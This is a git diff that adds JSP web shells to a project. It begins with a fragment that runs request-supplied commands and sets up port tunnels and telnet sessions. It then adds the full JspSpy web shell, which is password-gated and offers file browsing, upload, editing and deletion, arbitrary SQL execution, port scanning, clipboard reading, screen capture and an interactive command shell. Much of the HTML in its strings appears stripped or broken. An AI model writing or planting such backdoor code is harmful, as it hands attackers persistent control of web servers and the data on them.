request.getParameter("myShell"); +if(action.equals("shell")){ +try { +Process child = Runtime.getRuntime().exec(cmd); +InputStream in = child.getInputStream(); +int c; +while ((c = in.read()) != -1) { out.print((char)c); } +in.close(); +try { child.waitFor();} catch (InterruptedException e) {} +} catch (IOException e) {} +}else if(action.equals("piped")){ +piped me = new piped(remoteHost,Integer.parseInt(remotePort),myIp,Integer.parseInt(myPort)); +}else if(action.equals("tunnel")){ +tunnel me = new tunnel(Integer.parseInt(myPort), +remoteHost, Integer.parseInt(remotePort)); +}else if(action.equals("login")){ +TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort)); +tc.connect(); +out.print(tc.wait("login:")); +tc.send(username+"\r"); +out.print(tc.wait("Password:")); +tc.send(password+"\r"); +out.print(tc.waitshell()); +tc.disconnect(); +}else if(action.equals("send")){ +TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort)); +tc.connect(); +tc.send(cmd+"\r"); +if(!myShell.equals("logout")) +out.print(tc.wait(myShell)); +tc.disconnect(); +}else if(action.equals("close")){ +try{ +Socket s = new Socket("127.0.0.1",Integer.parseInt(myPort)); +DataOutputStream dos = new DataOutputStream(s.getOutputStream()); +PrintStream ps = new PrintStream(dos); +ps.println("--GoodBye--"); +ps.close(); +dos.close(); +s.close(); +}catch(Exception e){} +}else{ +out.print("You Love Hacker Too?"); +} +%> diff --git a/jsp/u.jsp b/jsp/u.jsp new file mode 100644 index 0000000..4d9cacd --- /dev/null +++ b/jsp/u.jsp @@ -0,0 +1,2323 @@ +<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page import="java.sql.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +/** +* Code By Ninty +* Date 2009-12-17 +* Blog http://www.Forjj.com/ +* Yue . I Love You. +*/ +private static final String PW = "592714"; //password +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replace("&","&").replace("<","<").replace(">",">"); +str = str.replace(""+(char)13+(char)10,"
    "); +str = str.replace("\n","
    "); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuilder html = new StringBuilder(); +if (echoTableTag) +html.append(""); +for (Row r:rows) { +html.append(""); +for (Column c:r.getColumns()) { +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
    "); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append("
    "); +return html.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static double formatNumber(double value,int l) { +NumberFormat format = NumberFormat.getInstance(); +format.setMaximumFractionDigits(l); +format.setGroupingUsed(false); +return new Double(format.format(value)); +} +public static boolean isInteger(String v) { +if (isEmpty(v)) +return false; +return v.matches("^\\d+$"); +} +public static String formatDate(long time) { +SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); +return format.format(new java.util.Date(time)); +} +public static String convertPath(String path) { +return path != null ? path.replace("\\","/") : ""; +} +public static String htmlEncode(String v) { +if (isEmpty(v)) +return ""; +return v.replace("&","&").replace("<","<").replace(">",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +if (msg.indexOf("java.lang.ClassNotFoundException") != -1) +msg = "Can Not Find The Driver!
    " + msg; +out.write("
    "+msg+"
    "); +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private byte[] b = new byte[1024]; +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() { +try { +FileOutputStream out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +out.close(); +} catch (IOException ioe) { +ioe.printStackTrace(); +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +ins.get("login").invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +ins.get("vLogin").invoke(request,response,session); +return; +} else { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Codz By - Ninty"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (String fs:arr) { +File f = new File(currentDir,fs); +f.delete(); +} +} +JSession.setAttribute(MSG,"Delete Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    System Clipboard »

    "+ +"

    ");
    +try{
    +out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
    +}catch (Exception ex) {
    +out.println("ClipBoard is Empty Or Is Not Text Data !");
    +}
    +out.println("
    "+ +" "+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VRemoteControlInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    Remote Control »

    "+ +" Speed(Second , dont be so fast) Can Not Control Yet."+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//GetScreen +private static class GcInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); +Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight()); +BufferedImage img = new Robot().createScreenCapture(rec); +response.setContentType("image/jpeg"); +ImageIO.write(img,"jpg",response.getOutputStream()); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
    "+ +"

    PortScan >>

    "+ +"
    "+ +"

    "+ +"IP : Port : Timeout ?????? : "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +ins.get("vPortScan").invoke(request,response,JSession); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (String port:portArr) { +try { +Socket s = new Socket(); +s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout); +s.close(); +rs.put(port,"Open"); +} catch (Exception e) { +rs.put(port,"Close"); +} +} +out.println("
    "); +Set> entrySet = rs.entrySet(); +for (Map.Entry e:entrySet) { +String port = e.getKey(); +String value = e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
    "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +out.println("
    "+ +"

    Run SQL query/queries on database :

    "); +} catch (Exception e) { +//e.printStackTrace(); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +response.sendRedirect(SHELL_NAME+"?o=vConn"); +} else { +ins.get("dbc").invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("

    Query#0 : "+Util.htmlEncode(sql)+"

    "); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +r.addColumn(new Column(rs.getString(i))); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
    "+meta.getColumnName(i)+"
    "+meta.getColumnTypeName(i)+"
    "); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("

    affected rows : "+obj+"

    "); +} +} +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +"

    Password: "+ +" "+ +" "+ +" "+ +"

    "+ +" "+ +"Copyright © 2009 NinTy www.Forjj.com

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(File f1,File f2) { +if (f1 != null && f2!= null) { +if (f1.isDirectory()) { +if (f2.isDirectory()) { +return f1.getName().compareTo(f2.getName()); +} else { +return -1; +} +} else { +if (f2.isDirectory()) { +return 1; +} else { +return f1.getName().compareTo(f2.getName()); +} +} +} +return 0; +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +File file = new File(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} +JSession.setAttribute(CURRENT_DIR,path); +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
    "); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

    File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)

    "); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Current Directory
    "+ +"
    "); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (File f:list) { +if (f.isDirectory()) { +dircount ++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
    "+ +"
    "+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
     NameLast ModifiedSizeRead/Write/Execute 
    =Goto Parent
    0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / unknow Del | Move | Pack
    "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / unknow "+ +"Edit | "+ +"Down | "+ +"Copy | "+ +"Move | "+ +"Property"); +if (f.getName().endsWith(".zip")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +out.println("
     Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
    "); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +JSession.setAttribute(MSG,"Upload File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src))); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println("
    Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (f.exists()) { +BufferedReader reader = new BufferedReader(new FileReader(f)); +StringBuilder content = new StringBuilder(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); + +BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path))); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +String execute = ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); +out.println("
    "+ +"
    "+ +"

    Set File Property »

    "+ +"

    Current file (fullpath)

    "+ +" "+ +"

    Read: "+ +" "+ +" Write: "+ +" "+ +" Execute: "+ +" "+ +"

    "+ +"

    Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

    "+ +"

    "+ +"
    "+ +"
